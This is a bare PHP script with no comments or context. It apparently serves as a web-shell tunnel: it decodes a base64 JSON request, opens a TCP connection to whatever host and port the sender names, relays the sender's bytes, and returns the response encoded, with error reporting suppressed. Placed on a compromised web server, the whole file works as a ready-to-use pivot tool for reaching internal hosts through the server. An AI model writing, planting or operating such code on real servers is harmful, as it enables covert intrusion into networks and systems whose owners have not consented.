<?php
@error_reporting(0);
$raw=file_get_contents("php://input");
$j=json_decode(base64_decode($raw),true);
if(!is_array($j)){ echo base64_encode(json_encode(array("e"=>"badreq"))); exit; }
$h=$j["h"]; $p=(int)$j["p"]; $d=base64_decode($j["d"]); $t=isset($j["t"])?(int)$j["t"]:6;
$fp=@stream_socket_client("tcp://".$h.":".$p,$en,$es,$t);
if(!$fp){ echo base64_encode(json_encode(array("e"=>"conn:".$es))); exit; }
stream_set_timeout($fp,$t);
if($d!==""){ @fwrite($fp,$d); }
$buf=""; $max=262144;
while(strlen($buf)<$max){ $c=@fread($fp,8192); if($c===false||$c==="") break; $buf.=$c; }
@fclose($fp);
echo base64_encode(json_encode(array("d"=>base64_encode($buf),"n"=>strlen($buf))));